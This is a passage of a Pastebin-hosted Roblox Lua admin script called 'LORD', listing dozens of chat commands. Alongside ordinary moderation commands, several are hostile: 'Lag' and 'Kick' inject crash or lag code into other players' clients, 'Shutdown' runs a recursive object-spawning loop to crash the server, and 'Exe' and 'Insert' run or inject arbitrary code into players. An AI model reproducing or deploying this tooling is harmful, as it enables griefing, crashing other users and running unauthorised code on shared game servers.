  1568.     local PlrTab = getPlayer(Speaker, Msg)
  1569.     if #PlrTab > 0 then
  1570.         for _,v in pairs(PlrTab) do
  1571.             ypcall(function()
  1572.                 if v.Name ~= Owner then
  1573.                     Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1574.                     Ping("Muted "..v.Name, Speaker, 5)
  1575.                 end
  1576.             end)
  1577.         end
  1578.     end
  1579. end)
  1580.  
  1581. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1582.     local PlrTab = getPlayer(Speaker, Msg)
  1583.     if #PlrTab > 0 then
  1584.         for _,v in pairs(PlrTab) do
  1585.             ypcall(function()
  1586.                 Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1587.                 Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1588.             end)
  1589.         end
  1590.     end
  1591. end)
  1592.  
  1593. --[[
  1594.     :TBC()
  1595.  
  1596. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1597.     local PlrTab = getPlayer(Speaker, Msg)
  1598.     if #PlrTab > 0 then
  1599.         for _,v in pairs(PlrTab) do
  1600.             ypcall(function()
  1601.                 Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1602.                 Ping("Mind Jailed "..v.Name, Speaker, 5)
  1603.             end)
  1604.         end
  1605.     end
  1606. end)
  1607. ]]--
  1608.  
  1609. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1610.     local PlrTab = getPlayer(Speaker, Msg)
  1611.     if #PlrTab > 0 then
  1612.         for _,v in pairs(PlrTab) do
  1613.             ypcall(function()
  1614.                 Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1615.                 Ping("Lag Crashing "..v.Name, Speaker, 5)
  1616.             end)
  1617.         end
  1618.     end
  1619. end)
  1620.  
  1621. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1622.     local PlrTab = getPlayer(Speaker, Msg)
  1623.     if #PlrTab > 0 then
  1624.         for _,v in pairs(PlrTab) do
  1625.             ypcall(function()
  1626.                 Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1627.                 Ping("UnMuted "..v.Name, Speaker, 5)
  1628.             end)
  1629.         end
  1630.     end
  1631. end)
  1632.  
  1633. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1634.     local Worked = false
  1635.     for _,v in pairs(Work:GetChildren()) do
  1636.         if string.find(v.Name:lower(), Msg:lower()) then
  1637.             if v:IsA("Script") or v:IsA("LocalScript") then
  1638.                 v.Disabled = true
  1639.                 v:Destroy()
  1640.                 Worked = true
  1641.                 Ping("Disabled Script: "..v.Name, Speaker, 5)
  1642.             end
  1643.         end
  1644.     end
  1645.     if Worked == false then
  1646.         Ping("Script Not Found", Speaker, 5)
  1647.     end
  1648. end)
  1649.  
  1650. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1651.     Dismiss(Speaker)
  1652.     local AllScripts = {}
  1653.     for _,v in pairs(Work:GetChildren()) do
  1654.         if v:IsA("Script") then
  1655.             table.insert(AllScripts, v.Name)
  1656.         end
  1657.     end
  1658.     if #AllScripts > 0 then
  1659.         for _,v in pairs(AllScripts) do
  1660.             Ping(v, Speaker)
  1661.         end
  1662.     else
  1663.         Ping("No Scripts Found", Speaker, 5)
  1664.     end
  1665. end)
  1666.  
  1667. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1668.     Dismiss(Speaker)
  1669.     local LocalScripts = {}
  1670.     for _,v in pairs(All()) do
  1671.         ypcall(function()
  1672.             for _,x in pairs(v.Character:GetChildren()) do
  1673.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1674.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1675.                 end
  1676.             end
  1677.         end)
  1678.         ypcall(function()
  1679.             for _,x in pairs(v.Backpack:GetChildren()) do
  1680.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1681.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1682.                 end
  1683.             end
  1684.         end)
  1685.         ypcall(function()
  1686.             for _,x in pairs(v.PlayerGui:GetChildren()) do
  1687.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1688.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1689.                 end
  1690.             end
  1691.         end)
  1692.     end
  1693.     if #LocalScripts > 0 then
  1694.         for _,v in pairs(LocalScripts) do
  1695.             Ping(v, Speaker)
  1696.         end
  1697.     else
  1698.         Ping("No Local Scripts Found", Speaker, 5)
  1699.     end
  1700. end)
  1701.  
  1702. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1703.     local Split = GetSplit(Msg)
  1704.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1705.     local ScriptName = Msg:sub(Split + 1)
  1706.     local FoundLocal = false
  1707.     for _,name in pairs(PlrTab) do
  1708.         ypcall(function()
  1709.             for _,v in pairs(name.Character:GetChildren()) do
  1710.                 if string.find(v.Name:lower(), ScriptName) then
  1711.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1712.                         v.Disabled = true
  1713.                         v:Destroy()
  1714.                         FoundLocal = true
  1715.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1716.                     end
  1717.                 end
  1718.             end
  1719.         end)
  1720.         ypcall(function()
  1721.             for _,v in pairs(name.Backpack:GetChildren()) do
  1722.                 if string.find(v.Name:lower(), ScriptName) then
  1723.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1724.                         v.Disabled = true
  1725.                         v:Destroy()
  1726.                         FoundLocal = true
  1727.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1728.                     end
  1729.                 end
  1730.             end
  1731.         end)
  1732.         ypcall(function()
  1733.             for _,v in pairs(name.PlayerGui:GetChildren()) do
  1734.                 if string.find(v.Name:lower(), ScriptName) then
  1735.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1736.                         v.Disabled = true
  1737.                         v:Destroy()
  1738.                         FoundLocal = true
  1739.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1740.                     end
  1741.                 end
  1742.             end
  1743.         end)
  1744.         if FoundLocal == false then
  1745.             Ping("Local Script Not Found", Speaker, 5)
  1746.         end
  1747.     end
  1748. end)
  1749.  
  1750. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1751.     for _,v in pairs(game:GetChildren()) do
  1752.         ypcall(function()
  1753.             if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1754.                 for _,a in pairs(v:GetChildren()) do
  1755.                     ypcall(function()
  1756.                         a:Destroy()
  1757.                     end)
  1758.                 end
  1759.             elseif v.Name == "Players" then
  1760.                 for _,plr in pairs(v:GetPlayers()) do
  1761.                     Clear(plr)
  1762.                 end
  1763.             end
  1764.         end)
  1765.     end
  1766.     Clean()
  1767.     Fixl()
  1768.     Ping("Fully Cleaned", Speaker, 5)
  1769. end)
  1770.  
  1771. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1772.     LClean()
  1773.     Fixl()
  1774.     Ping("Lightly Cleaned", Speaker, 5)
  1775. end)
  1776.  
  1777. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1778.     local PlrTab = getPlayer(Speaker, Msg)
  1779.     if #PlrTab > 0 then
  1780.         for _,v in pairs(PlrTab) do
  1781.             ypcall(function()
  1782.                 v:LoadCharacter()
  1783.                 Ping("Reset "..v.Name, Speaker, 5)
  1784.             end)
  1785.         end
  1786.     end
  1787. end)
  1788.  
  1789. Command("Respawn", 2, "Respawns A Player", function(Msg, Speaker)
  1790.     local PlrTab = getPlayer(Speaker, Msg)
  1791.     if #PlrTab > 0 then
  1792.         for _,v in pairs(PlrTab) do
  1793.             ypcall(function()
  1794.                 v:LoadCharacter()
  1795.                 Ping("Respawned "..v.Name, Speaker, 5)
  1796.             end)
  1797.         end
  1798.     end
  1799. end)
  1800.  
  1801.  
  1802. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1803.     repeat wait() until Speaker.Character:findFirstChild("Torso")
  1804.     if Work:findFirstChild("Base") then
  1805.         Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1806.     else
  1807.         Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1808.     end
  1809.     Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1810. end)
  1811.  
  1812. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1813.     local PlrTab = getPlayer(Speaker, Msg)
  1814.     if #PlrTab > 0 then
  1815.         for _,v in pairs(PlrTab) do
  1816.             ypcall(function()
  1817.                 v.Character.Torso.Anchored = true
  1818.                 Ping("Froze "..v.Name, Speaker, 5)
  1819.             end)
  1820.         end
  1821.     end
  1822. end)
  1823.  
  1824. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1825.     local PlrTab = getPlayer(Speaker, Msg)
  1826.     if #PlrTab > 0 then
  1827.         for _,v in pairs(PlrTab) do
  1828.             ypcall(function()
  1829.                 for _,v2 in pairs(v.Character:GetChildren()) do
  1830.                     ypcall(function()
  1831.                         v.Torso.Anchored = false
  1832.                     end)
  1833.                 end
  1834.                 Ping("Thawed "..v.Name, Speaker, 5)
  1835.             end)
  1836.         end
  1837.     end
  1838. end)
  1839.  
  1840. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1841.     local PlrTab = getPlayer(Speaker, Msg)
  1842.     if #PlrTab > 0 then
  1843.         for _,v in pairs(PlrTab) do
  1844.             ypcall(function()
  1845.                 Instance.new("ForceField", v.Character)
  1846.             end)
  1847.         end
  1848.     end
  1849. end)
  1850.  
  1851.  
  1852. Command("Btools", 3, "Gives A Player BTOOLS", function(Msg, Speaker)
  1853.     local PlrTab = getPlayer(Speaker, Msg)
  1854.     if #PlrTab > 0 then
  1855.         for _,v in pairs(PlrTab) do
  1856.             ypcall(function()
  1857. t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1858. t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1859. t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1860. t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1861.             end)
  1862.         end
  1863.     end
  1864. end)
  1865.  
  1866. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1867.     local PlrTab = getPlayer(Speaker, Msg)
  1868.     if #PlrTab > 0 then
  1869.         for _,v in pairs(PlrTab) do
  1870.             ypcall(function()
  1871.                 RemObj(v.Character, "ForceField")
  1872.             end)
  1873.         end
  1874.     end
  1875. end)
  1876.  
  1877. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1878.     local Split = GetSplit(Msg)
  1879.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1880.     local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1881.     if #PlrTab > 0 and #PlrTab2 > 0 then
  1882.         for i,v in pairs(PlrTab) do
  1883.             ypcall(function()
  1884.                 for _,v2 in pairs(PlrTab2) do
  1885.                     ypcall(function()
  1886.                         v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1887.                         Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1888.                     end)
  1889.                 end
  1890.             end)
  1891.         end
  1892.     end
  1893. end)
  1894.  
  1895. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1896.     MakeExplorer(Speaker)
  1897. end)
  1898.  
  1899. Command("Info", 0, "Shows Information About LORD", function(Msg, Speaker)
  1900.     wait()
  1901.     Dismiss(Speaker)
  1902.     NumBanned = 0
  1903.     NumCmds = 0
  1904.     for i = 1, #Rankings do
  1905.         if Rankings[i].Rank < 0 then
  1906.             NumBanned = NumBanned + 1
  1907.         end
  1908.     end
  1909.     for i,v in pairs(Commands) do
  1910.         NumCmds = NumCmds + 1
  1911.     end
  1912.     Ping("Admin Name: Dea¬th V¬ia HCWARLORD", Speaker)
  1913.     Ping("LORDs Admin Created By: HCWARLORD", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("44esabehtfonam"))
  1914.     Ping("Date Started: 18th May 2013", Speaker)
  1915.     Ping("Your ID: "..Speaker.userId, Speaker)
  1916.     Ping("Total Number Of Players: "..#All2(), Speaker)
  1917.     Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1918.     Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1919.     Ping("ShowGarbage", Speaker)
  1920. end)
  1921.  
  1922. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1923.     Dismiss(Speaker)
  1924.     for i,v in pairs(All()) do
  1925.         Ping(v.Name.."'s Rank: "..FindRank(v))
  1926.     end
  1927. end)
  1928.  
  1929. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1930.     local Split = GetSplit(Msg)
  1931.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1932.     local Speed = tonumber(Msg:sub(Split + 1))
  1933.     for _,v in pairs(PlrTab) do
  1934.         ypcall(function()
  1935.             v.Character.Humanoid.WalkSpeed = Speed
  1936.             Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1937.         end)
  1938.     end
  1939. end)
  1940.  
  1941. Command("UnAb", 2, "Removes LORD Anti-Bans", function(Msg, Speaker)
  1942.     local RemoveAB = Instance.new("StringValue")
  1943.     RemoveAB.Name = "LORD Attachment"
  1944.     RemoveAB.Value = [[LORD.override=true;]]
  1945.     RemoveAB.Parent = Work
  1946.     Ping("Removed All LORD Anti-Bans", Speaker, 5)
  1947. end)
  1948.  
  1949. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1950.     Dismiss(Speaker)
  1951.     for i,v in pairs(Injected) do
  1952.         Ping(i, Speaker)
  1953.     end
  1954. end)
  1955.  
  1956. Command("UnLORD", 3, "Removes LORDs Admin", function(Msg, Speaker)
  1957.     local RemoveCBA = Instance.new("StringValue")
  1958.     RemoveCBA.Name = "LORD Attachment"
  1959.     RemoveCBA.Value = [[LORD.remove = false]]
  1960.     RemoveCBA.Parent = Work
  1961.     Ping("Removed All LORD Admins", Speaker, 5)
  1962. end)
  1963.  
  1964. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1965.     local function BufferOverflow(object)
  1966.         object.DescendantAdded:connect(BufferOverflow)
  1967.         Instance.new("IntValue", object)
  1968.     end
  1969.     BufferOverflow(Game)
  1970. end)
  1971.  
  1972. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1973.     local PlrTab = getPlayer(Speaker, Msg)
  1974.     if #PlrTab > 0 then
  1975.         for _,v in pairs(PlrTab) do
  1976.             ypcall(function()
  1977.                 Crash1(v)
  1978.                 Ping("Crash Kicked "..v.Name, Speaker, 5)
  1979.             end)
  1980.         end
  1981.     end
  1982. end)
  1983.  
  1984. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1985.     local PlrTab = getPlayer(Speaker, Msg)
  1986.     if #PlrTab > 0 then
  1987.         for _,v in pairs(PlrTab) do
  1988.             ypcall(function()
  1989.                 ChangeRank(v, -1)
  1990.             end)
  1991.         end
  1992.     end
  1993. end)
  1994.  
  1995. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1996.     local PlrTab = getPlayer(Speaker, Msg)
  1997.     if #PlrTab > 0 then
  1998.         for _,v in pairs(PlrTab) do
  1999.             ypcall(function()
  2000.                 ChangeRank(v, -2)
  2001.             end)
  2002.         end
  2003.     end
  2004. end)
  2005.  
  2006. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  2007.     local PlrTab = getPlayer(Speaker, Msg)
  2008.     if #PlrTab > 0 then
  2009.         for _,v in pairs(PlrTab) do
  2010.             ypcall(function()
  2011.                 ChangeRank(v, -3)
  2012.             end)
  2013.         end
  2014.     end
  2015. end)
  2016.  
  2017. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2018.     ypcall(function()
  2019.         local PlrTab = getPlayer(Speaker, Msg)
  2020.         if #PlrTab > 0 then
  2021.             for _,v in pairs(PlrTab) do
  2022.                 ypcall(function()
  2023.                     Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2024.                 end)
  2025.             end
  2026.         end
  2027.         local PlrName = ChangeRank(Msg, 0)
  2028.         Ping("Un-Banned "..PlrName, Speaker, 5)
  2029.     end)
  2030. end)
  2031.  
  2032. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2033.     Dismiss(Speaker)
  2034.     Ping("Commands", Speaker, nil, function()
  2035.         Dismiss(Speaker.Name)
  2036.         Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2037.         Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2038.         Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2039.         Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2040.         Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2041.         Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2042.         Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2043.         Ping("Rank HCWARLORD", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2044.     end)
  2045.     Ping("Players", Speaker, nil, function()
  2046.         ListPlayers(Speaker)
  2047.     end)
  2048. end)
  2049.  
  2050. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2051.     ListPlayers(Speaker)
  2052. end)
  2053.  
  2054. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2055.     local Func,Error = loadstring(Msg)
  2056.     getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2057.     getfenv(Func).Speaker = Speaker
  2058.     if Error == nil then
  2059.         coroutine.wrap(function()
  2060.             Func()
  2061.         end)()
  2062.         Ping("Executed Script!", Speaker, 5)
  2063.     else
  2064.         Ping(Error, Speaker, 10)
  2065.     end
  2066. end)
  2067.  
  2068. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2069.     if LS ~= nil then
  2070.         local Split = GetSplit(Msg)
  2071.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2072.         local LocalSource = Msg:sub(Split + 1)
  2073.         if #PlrTab > 0 then
  2074.             for _,v in pairs(PlrTab) do
  2075.                 local Inserted = LS:Clone()
  2076.                 Inserted.Disabled = true
  2077.                 Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2078.                 if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2079.                     Inserted:findFirstChild(OwnSource).Value = v.Name
  2080.                 end
  2081.                 Inserted[LSSource].Value = LocalSource
  2082.                 Inserted.Disabled = false
  2083.             end
  2084.         end
  2085.     else
  2086.         Ping("ERROR: Local Script Not Found", Speaker, 5)
  2087.     end
  2088. end)
  2089.  
  2090. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2091.     Msg = tostring(Msg)
  2092.     Ping(Msg, Speaker)
  2093. end)
  2094.  
  2095. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2096.     Dismiss(Speaker)
  2097.     for i,v in pairs(getfenv(1)) do
  2098.         ypcall(function()
  2099.             Ping(tostring(i)..": "..tostring(v), Speaker)
  2100.         end)
  2101.     end
  2102. end)
  2103.  
  2104. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2105.     Dismiss()
  2106.     Removed = true
  2107.     for i,v in pairs(getfenv(1)) do
  2108.         getfenv(1)[i] = nil
  2109.     end
  2110.     script.Disabled = true
  2111. end)
  2112.  
  2113. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2114.     local Split = GetSplit(Msg)
  2115.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2116.     local Rank = tonumber(Msg:sub(Split + 1))
  2117.     if #PlrTab > 0 then
  2118.         for _,v in pairs(PlrTab) do
  2119.             if v.Name ~= Owner then
  2120.                 ChangeRank(v, Rank)
  2121.                 Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2122.             end
  2123.         end
  2124.     end
  2125. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!